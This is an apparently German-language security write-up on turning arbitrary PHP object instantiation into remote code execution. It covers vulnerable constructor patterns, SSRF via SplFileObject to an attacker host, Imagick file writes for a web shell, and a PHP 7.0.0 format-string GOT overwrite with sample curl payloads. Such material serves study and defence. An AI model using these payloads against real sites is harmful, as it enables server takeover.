PHP - RCE abusing object creation: new $_GET"a"

Reading time: 6 minutes

Dies ist im Wesentlichen eine Zusammenfassung von https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Einführung

Das Erstellen neuer beliebiger Objekte, wie new $_GET["a"]($_GET["a"]), kann zu Remote Code Execution (RCE) führen, wie in einem writeup beschrieben. Dieses Dokument hebt verschiedene Strategien zur Erreichung von RCE hervor.

RCE mittels Custom Classes oder Autoloading

Die Syntax new $a($b) wird verwendet, um ein Objekt zu instanziieren, wobei $a den Klassennamen darstellt und $b das erste an den Konstruktor übergebene Argument ist. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Strings oder Arrays sein können, oder aus JSON, wo sie als andere Typen auftreten können.

Betrachten Sie den folgenden Codeausschnitt:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In diesem Fall führt das Setzen von $a auf App oder App2 und $b auf einen Systembefehl (z. B. uname -a) zur Ausführung dieses Befehls.

Autoloading-Funktionen können ausgenutzt werden, wenn solche Klassen nicht direkt zugänglich sind. Diese Funktionen laden Klassen automatisch aus Dateien, wenn sie benötigt werden, und werden mit spl_autoload_register oder __autoload definiert:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet unterschiedliche RCE-Möglichkeiten.

RCE über eingebaute Klassen

Fehlen eigene Klassen oder Autoloader, können eingebaute PHP-Klassen für RCE ausreichen. Die Anzahl dieser Klassen liegt je nach PHP-Version und installierten Erweiterungen zwischen etwa 100 und 200. Sie lassen sich mit get_declared_classes() auflisten.

Interessante Konstruktoren lassen sich über die Reflection-API identifizieren, wie im folgenden Beispiel und dem Link https://3v4l.org/2JEGF gezeigt.

RCE durch spezifische Methoden umfasst:

SSRF + Phar Deserialization

Die SplFileObject-Klasse ermöglicht SSRF über ihren Konstruktor und erlaubt Verbindungen zu beliebigen URLs:

new SplFileObject('http://attacker.com/');

SSRF kann in PHP-Versionen vor 8.0 mithilfe des Phar-Protokolls zu Deserialisierungsangriffen führen.

Ausnutzen von PDOs

Der PDO-Klassenkonstruktor erlaubt Verbindungen zu Datenbanken über DSN-Strings und kann potenziell die Erstellung von Dateien oder andere Interaktionen ermöglichen:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versionen von PHP bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die SoapClient- und SimpleXMLElement-Konstruktoren, abhängig von der libxml2-Version.

RCE über Imagick Extension

Bei der Analyse der Projektabhängigkeiten wurde festgestellt, dass Imagick durch das Instanziieren neuer Objekte für command execution nutzbar ist. Dies bietet die Möglichkeit, Schwachstellen auszunutzen.

VID parser

Es wurde festgestellt, dass der VID-Parser Inhalte an beliebige Pfade im Dateisystem schreiben kann. Dies könnte zur Platzierung einer PHP-Shell in einem webzugänglichen Verzeichnis führen und damit Remote Code Execution (RCE) ermöglichen.

VID Parser + File Upload

Es ist zu beachten, dass PHP hochgeladene Dateien vorübergehend in /tmp/phpXXXXXX ablegt. Der VID-Parser in Imagick, der das msl-Protokoll nutzt, kann Wildcards in Dateipfaden verarbeiten und ermöglicht so das Kopieren der temporären Datei an einen gewählten Speicherort. Diese Methode bietet einen zusätzlichen Weg, beliebiges Schreiben von Dateien im Dateisystem zu erreichen.

PHP Crash + Brute Force

Eine Methode, beschrieben im original writeup, beinhaltet das Hochladen von Dateien, die einen Serverabsturz auslösen, bevor sie gelöscht werden. Durch Brute-Forcing des Namens der temporären Datei wird es möglich, dass Imagick beliebigen PHP-Code ausführt. Diese Technik erwies sich jedoch nur in einer veralteten Version von ImageMagick als wirksam.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

Wenn Benutzereingabe den Klassennamen steuert (z. B. new $_GET['model']()), führte PHP 7.0.0 während des Throwable-Refactors einen temporären Bug ein, bei dem die Engine den Klassennamen irrtümlich als printf-Formatstring bei der Auflösung behandelte. Das ermöglicht klassische printf-style primitives in PHP: leaks with %p, write-count control with width specifiers und arbitrary writes mit %n gegen in-process pointers (z. B. GOT-Einträge bei ELF-Builds).

Minimal reproduzierbares verwundbares Muster:

<?php
$model = $_GET['model'];
$object = new $model();

Ausnutzungsablauf (aus der Referenz):

• Leak addresses via %p in the class name to find a writable target:

curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers

• Verwende positionsbasierte Parameter und width specifiers, um eine genaue Byte-Anzahl zu setzen, dann %n, um diesen Wert an eine auf dem Stack erreichbare Adresse zu schreiben. Zielt auf einen GOT-Slot (z. B. free), um ihn teilweise zu system zu überschreiben.
• Löse die hijackte Funktion aus, indem du einen Klassennamen übergibst, der eine Shell-Pipe enthält, um system("id") aufzurufen.

Hinweise:

• Funktioniert nur unter PHP 7.0.0 (Bug #71105); in späteren Releases behoben. Schweregrad: kritisch, falls beliebige Klasseninstanziierung existiert.
• Typische Payloads verketten viele %p, um den Stack zu durchlaufen, und verwenden dann %.<width>d%<pos>$n, um die partielle Überschreibung zu platzieren.

Referenzen

• https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
• The Art of PHP: CTF‑born exploits and techniques